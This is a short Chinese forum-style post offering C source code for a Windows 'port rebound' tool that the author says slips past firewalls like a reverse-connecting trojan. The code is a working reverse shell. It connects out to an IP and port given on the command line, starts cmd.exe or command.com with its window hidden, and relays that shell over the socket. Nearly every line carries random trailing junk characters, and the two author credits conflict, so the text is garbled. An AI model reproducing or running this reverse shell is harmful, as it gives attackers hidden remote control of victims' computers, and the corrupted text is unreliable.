Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 U`HY eJ  
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/* ============================== Ba|}$jo  
Rebound port in Windows NT q*` m%3{  
By wind,2006/7 qQG? k~r  
===============================*/ ~u2f`67
{  
#include n*na6rV\k  
#include fDfph7[)  
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#pragma comment(lib,"wsock32.lib") nXoDI1<[  

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void OutputShell(); S7nx4c2xK~  
SOCKET sClient; 'VCuMCV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ryh"/lu[B  
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void main(int argc,char **argv) Wkjp:`(-$r  
{ .Wy'  
WSADATA stWsaData; PuGs%{$(h  
int nRet; f+n {9Hz  
SOCKADDR_IN stSaiClient,stSaiServer; ~wv$uL8y  
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if(argc != 3) NFx%e  
{ -)')PV_+  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0zSz[;A  
return; NW`.7'aWT  
} ,(K-;Id4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); at@tS>Dv  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (B\ UZb  
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stSaiClient.sin_family = AF_INET; aEIz,^3  
stSaiClient.sin_port = htons(0); JJ_Z{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~S;-sxoO0l  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gH'hA'  
{ jI*@&3  
printf("Bind Socket Failed!\n"); wS
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return; 6fo"k+S  
} w(S~}'Sg*P  
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stSaiServer.sin_family = AF_INET; e"eIQI|N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 37a1O>A  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rM A%By^L-  
{ C`kqsK  
printf("Connect Error!"); ~//E'V-  
return; wLqj<ot  
} Qr3!6  
OutputShell(); 9cP{u$  
} Q*ELMib  
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void OutputShell() , ftJw  
{ s=jYQ5nv  
char szBuff[1024]; $9Bzq_!  
SECURITY_ATTRIBUTES stSecurityAttributes; i({\fb|0  
OSVERSIONINFO stOsversionInfo; !'F1Ht  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; md'wre3  
STARTUPINFO stStartupInfo; a@W9\b@I  
char *szShell; \ Voly  
PROCESS_INFORMATION stProcessInformation; 0q-lyVZ^X  
unsigned long lBytesRead; 7>O`UT<t4@  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }kvix{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8_HBcZWs  
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; F9K0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SF-"3M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cRrJZ9  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s<!G2~T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w[gt9]}N  
stStartupInfo.wShowWindow = SW_HIDE; ;iKtv+"  
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @XzfuuE]  
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GetVersionEx(&stOsversionInfo); SQ2v  
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switch(stOsversionInfo.dwPlatformId) lD[@D9  
{ @U5gxK*  
case 1: 9]IZ3 fQX  
szShell = "command.com"; z!bT^_Cc0  
break; hwXsfh |  
default: dB4ifeT]  
szShell = "cmd.exe"; -A w]b} #v  
break; mL`8COA  
} ,IboPh&Q78  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]j/= x2p  
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send(sClient,szMsg,77,0); :g63*d+/G  
while(1) 67Pmnad  
{ Lv%t*s2$/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E#(e2Z=  
if(lBytesRead) 4uoZw3O  
{ QH(&Cu,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eu$VKLY*  
send(sClient,szBuff,lBytesRead,0); ^\O*e)#*  
} Y"8@\73(R  
else mm:TR?^  
{ )Wq1af   
lBytesRead=recv(sClient,szBuff,1024,0); ^il$t]X5-  
if(lBytesRead<=0) break; :h34mNU
 
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v {HF}L  
} CS~onf<xz  
} =Vs?=|r  
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return; m-Jy 4f#  
}